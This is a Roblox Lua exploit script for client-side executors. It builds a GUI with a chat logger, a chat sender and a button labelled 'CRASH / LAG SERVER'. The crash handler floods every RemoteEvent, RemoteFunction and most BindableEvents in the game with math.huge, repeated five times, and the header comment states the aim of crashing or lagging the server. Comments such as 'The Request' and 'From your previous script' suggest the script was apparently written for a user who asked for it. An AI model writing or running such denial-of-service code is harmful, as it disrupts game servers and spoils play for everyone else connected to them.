--[[
    Universal GUI: Chat Log, Chat Sender, and Server Crasher

    Controls:
    - Press [Right Control] to toggle UI visibility.
    - Click the run button a couple times and it should crash the server/lag it.
]]

local Players = game:GetService("Players")
local CoreGui = game:GetService("CoreGui")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local TextChatService = game:GetService("TextChatService")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")

local LocalPlayer = Players.LocalPlayer

-- 1. UI CREATION
local ScreenGui = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local ChatLogScroll = Instance.new("ScrollingFrame")
local ChatInput = Instance.new("TextBox")
local SendButton = Instance.new("TextButton")
local CrashButton = Instance.new("TextButton")
local CloseButton = Instance.new("TextButton")
local UICorner = Instance.new("UICorner")

-- Protect GUI (If supported by executor, otherwise parent to PlayerGui)
if syn and syn.protect_gui then
    syn.protect_gui(ScreenGui)
    ScreenGui.Parent = CoreGui
elseif gethui then
    ScreenGui.Parent = gethui()
else
    ScreenGui.Parent = CoreGui
end

ScreenGui.Name = "UniversalToolsUI"
ScreenGui.ResetOnSpawn = false

-- Main Frame Styling
MainFrame.Name = "MainFrame"
MainFrame.Parent = ScreenGui
MainFrame.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
MainFrame.Position = UDim2.new(0.5, -200, 0.5, -150)
MainFrame.Size = UDim2.new(0, 400, 0, 350)
MainFrame.BorderSizePixel = 0
MainFrame.Active = true
MainFrame.Draggable = true -- Simple drag

local MainCorner = Instance.new("UICorner")
MainCorner.CornerRadius = UDim.new(0, 8)
MainCorner.Parent = MainFrame

-- Title
Title.Name = "Title"
Title.Parent = MainFrame
Title.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
Title.BackgroundTransparency = 1
Title.Size = UDim2.new(1, 0, 0, 30)
Title.Font = Enum.Font.GothamBold
Title.Text = "  Server Tools & Chat"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 14
Title.TextXAlignment = Enum.TextXAlignment.Left

-- Chat Log Area
ChatLogScroll.Name = "ChatLog"
ChatLogScroll.Parent = MainFrame
ChatLogScroll.Active = true
ChatLogScroll.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
ChatLogScroll.BorderSizePixel = 0
ChatLogScroll.Position = UDim2.new(0.05, 0, 0.12, 0)
ChatLogScroll.Size = UDim2.new(0.9, 0, 0.55, 0)
ChatLogScroll.CanvasSize = UDim2.new(0, 0, 0, 0)
ChatLogScroll.ScrollBarThickness = 6

local UIListLayout = Instance.new("UIListLayout")
UIListLayout.Parent = ChatLogScroll
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder

-- Chat Input Box
ChatInput.Name = "ChatInput"
ChatInput.Parent = MainFrame
ChatInput.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
ChatInput.BorderSizePixel = 0
ChatInput.Position = UDim2.new(0.05, 0, 0.70, 0)
ChatInput.Size = UDim2.new(0.7, 0, 0.1, 0)
ChatInput.Font = Enum.Font.Gotham
ChatInput.PlaceholderText = "Type message here..."
ChatInput.Text = ""
ChatInput.TextColor3 = Color3.fromRGB(255, 255, 255)
ChatInput.TextSize = 14

local InputCorner = Instance.new("UICorner")
InputCorner.Parent = ChatInput

-- Send Button
SendButton.Name = "SendButton"
SendButton.Parent = MainFrame
SendButton.BackgroundColor3 = Color3.fromRGB(0, 120, 215)
SendButton.Position = UDim2.new(0.78, 0, 0.70, 0)
SendButton.Size = UDim2.new(0.17, 0, 0.1, 0)
SendButton.Font = Enum.Font.GothamBold
SendButton.Text = "Send"
SendButton.TextColor3 = Color3.fromRGB(255, 255, 255)
SendButton.TextSize = 14

local SendCorner = Instance.new("UICorner")
SendCorner.Parent = SendButton

-- Crash Button (The Request)
CrashButton.Name = "CrashButton"
CrashButton.Parent = MainFrame
CrashButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50)
CrashButton.Position = UDim2.new(0.05, 0, 0.85, 0)
CrashButton.Size = UDim2.new(0.9, 0, 0.1, 0)
CrashButton.Font = Enum.Font.GothamBold
CrashButton.Text = "CRASH / LAG SERVER"
CrashButton.TextColor3 = Color3.fromRGB(255, 255, 255)
CrashButton.TextSize = 14

local CrashCorner = Instance.new("UICorner")
CrashCorner.Parent = CrashButton

------------------------------------------------------
-- 2. FUNCTIONALITY
------------------------------------------------------

-- Helper: Add Message to Log
local function addLog(playerDetails, message)
    local Label = Instance.new("TextLabel")
    Label.Parent = ChatLogScroll
    Label.BackgroundTransparency = 1
    Label.Size = UDim2.new(1, 0, 0, 20)
    Label.Font = Enum.Font.Gotham
    Label.TextColor3 = Color3.fromRGB(255, 255, 255)
    Label.TextSize = 12
    Label.TextXAlignment = Enum.TextXAlignment.Left
    Label.Text = " [" .. playerDetails .. "]: " .. message
    Label.TextWrapped = true
    
    ChatLogScroll.CanvasSize = UDim2.new(0, 0, 0, UIListLayout.AbsoluteContentSize.Y)
    ChatLogScroll.CanvasPosition = Vector2.new(0, UIListLayout.AbsoluteContentSize.Y)
end

-- Chat Listener (Captures chat for the log)
local function connectPlayerChat(player)
    player.Chatted:Connect(function(msg)
        addLog(player.Name, msg)
    end)
end

for _, v in pairs(Players:GetPlayers()) do
    connectPlayerChat(v)
end

Players.PlayerAdded:Connect(function(v)
    connectPlayerChat(v)
end)

-- Chat Sender Function (Universal)
local function sendMessage()
    local msg = ChatInput.Text
    if msg == "" then return end
    
    -- Method 1: Legacy Chat System
    local ReplicatedStorage = game:GetService("ReplicatedStorage")
    local DefaultChat = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
    
    if DefaultChat and DefaultChat:FindFirstChild("SayMessageRequest") then
        DefaultChat.SayMessageRequest:FireServer(msg, "All")
    
    -- Method 2: TextChatService (Newer Roblox Games)
    elseif TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
        local channel = TextChatService.TextChannels.RBXGeneral
        if channel then
            channel:SendAsync(msg)
        end
    else
        -- Fallback
        game.Players:Chat(msg) 
    end
    
    ChatInput.Text = "" -- Clear box
end

SendButton.MouseButton1Click:Connect(sendMessage)
ChatInput.FocusLost:Connect(function(enterPressed)
    if enterPressed then sendMessage() end
end)

-- Crash/Lag Logic (From your previous script)
CrashButton.MouseButton1Click:Connect(function()
    CrashButton.Text = "Spamming Remotes..."
    local settings = 0.5 -- Faster delay for button press
    
    for i = 1, 5 do
        -- Start
        for p, v in pairs(game:GetDescendants()) do
            coroutine.wrap(function()
                local success, err = pcall(function()
                    if v:IsA("RemoteFunction") then
                        v:InvokeServer(math.huge)
                    elseif v:IsA("RemoteEvent") then
                        v:FireServer(math.huge)
                    elseif v:IsA("BindableEvent") and v ~= Players.LocalPlayer.PlayerGui:FindFirstChild("Intro") then
                        -- Added extra safety check for common Intro scripts
                        v:Fire(game.Players.LocalPlayer, math.huge)
                    end
                end)
            end)()
        end
        task.wait(settings)
    end
    
    CrashButton.Text = "Done (Click to retry)"
    wait(1)
    CrashButton.Text = "CRASH / LAG SERVER"
end)

-- Toggle UI
UserInputService.InputBegan:Connect(function(input, gpe)
    if input.KeyCode == Enum.KeyCode.RightControl then
        MainFrame.Visible = not MainFrame.Visible
    end
end)

print("UI Loaded. Press Right Control to toggle.")